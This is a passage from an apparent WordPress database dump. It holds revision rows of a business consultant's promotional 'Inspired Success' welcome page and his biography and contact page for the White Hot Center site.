business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:58:11', '2013-08-10 23:58:11', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-165/', 0, 'revision', '', 0),
(2637, 2, '2014-06-25 15:26:22', '2014-06-25 22:26:22', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h1>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, solo professional or small business owner, and you’re seeking useful information to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n<h2>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h2>\r\nLike you, I’m fully committed to bringing more value to the world.  After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\r\n\r\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.\r\n\r\nThroughout the blog, you’ll find ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!\r\n\r\nAnd in the process, inspire you to action creating a life experience full of contribution, deep satisfaction, fulfillment, personal freedom and financial success.\r\n\r\nIf you find the ideas presented useful to your growth and expansion, please leave your comments and share with all your social networks. If you like, <a href="http://whc.fbdev.org/">subscribe to receive the White Hot Center </a>posts directly in your inbox.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer individual issue-based business transformation and creative consulting, group workshops and seminar trainings, tailored to entrepreneurs, solo professionals and small business owners at the beginning stages of their business growth and for those whose business growth has reached a plateau. You can review these programs under the "consulting" link in the main menu.\r\n\r\nMy individual consulting clients have at least three years of entrepreneurial experience and have annual incomes of $100K+ and seek to double or triple their income. The small business organizations I guide have annual revenues from $5-50million+. If you sense a good fit to help you accomplish your personal effectiveness and business goals, please <a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">email </a>directly.\r\n\r\nTo you inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2014-06-25 15:26:22', '2014-06-25 22:26:22', '', 172, 'http://www.whitehotcenter.com/2014/06/172-revision-166/', 0, 'revision', '', 0),
(2638, 2, '2014-06-25 15:26:54', '2014-06-25 22:26:54', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, solo professional or small business owner, and you’re seeking useful information to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n<h2>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h2>\r\nLike you, I’m fully committed to bringing more value to the world.  After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\r\n\r\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.\r\n\r\nThroughout the blog, you’ll find ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!\r\n\r\nAnd in the process, inspire you to action creating a life experience full of contribution, deep satisfaction, fulfillment, personal freedom and financial success.\r\n\r\nIf you find the ideas presented useful to your growth and expansion, please leave your comments and share with all your social networks. If you like, <a href="http://whc.fbdev.org/">subscribe to receive the White Hot Center </a>posts directly in your inbox.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer individual issue-based business transformation and creative consulting, group workshops and seminar trainings, tailored to entrepreneurs, solo professionals and small business owners at the beginning stages of their business growth and for those whose business growth has reached a plateau. You can review these programs under the "consulting" link in the main menu.\r\n\r\nMy individual consulting clients have at least three years of entrepreneurial experience and have annual incomes of $100K+ and seek to double or triple their income. The small business organizations I guide have annual revenues from $5-50million+. If you sense a good fit to help you accomplish your personal effectiveness and business goals, please <a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">email </a>directly.\r\n\r\nTo you inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2014-06-25 15:26:54', '2014-06-25 22:26:54', '', 172, 'http://www.whitehotcenter.com/2014/06/172-revision-167/', 0, 'revision', '', 0),
(2639, 2, '2014-02-26 11:26:53', '2014-02-26 18:26:53', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers, solo professionals and small business owners to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development and Business Transformation</h2>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate branding and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after a stint working at several advertising agencies, Thomson founded Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate and brand identity development, brand strategy,  corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the White Hot Center, Thomson provides entrepreneurs and their teams with professional development, brand development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank">Branding Strategy Insider</a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-02-26 11:26:53', '2014-02-26 18:26:53', '', 143, 'http://www.whitehotcenter.com/2014/02/143-revision-63/', 0, 'revision', '', 0),
(2640, 2, '2014-06-29 10:11:23', '2014-06-29 17:11:23', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n<a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com\r\n</a></strong>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h3>\r\n<span style="color: #000000;"><strong>For nearly 30 years, Thomson </strong><strong>has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #000000;"><strong></strong><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are probono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:11:23', '2014-06-29 17:11:23', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-64/', 0, 'revision', '', 0),
(2641, 2, '2014-06-29 10:11:35', '2014-06-29 17:11:35', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n<a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com\r\n</a></strong>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h3>\r\n<span style="color: #000000;"><strong>For nearly 30 years, Thomson </strong><strong>has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #000000;"><strong></strong><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:11:35', '2014-06-29 17:11:35', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-65/', 0, 'revision', '', 0),
(2645, 2, '2014-06-29 10:21:11', '2014-06-29 17:21:11', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</span>\r\n\r\n<span style="color: #000000;">Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:21:11', '2014-06-29 17:21:11', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-69/', 0, 'revision', '', 0),
(2642, 2, '2014-06-29 10:15:19', '2014-06-29 17:15:19', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n<a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h3>\r\n<span style="color: #000000;"><strong>For nearly 30 years, Thomson </strong><strong>has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #000000;"><strong></strong><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:15:19', '2014-06-29 17:15:19', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-66/', 0, 'revision', '', 0);
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(2643, 2, '2014-06-29 10:17:19', '2014-06-29 17:17:19', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h3>\r\n<span style="color: #000000;"><strong>For nearly 30 years, Thomson </strong><strong>has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #000000;"><strong></strong><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand 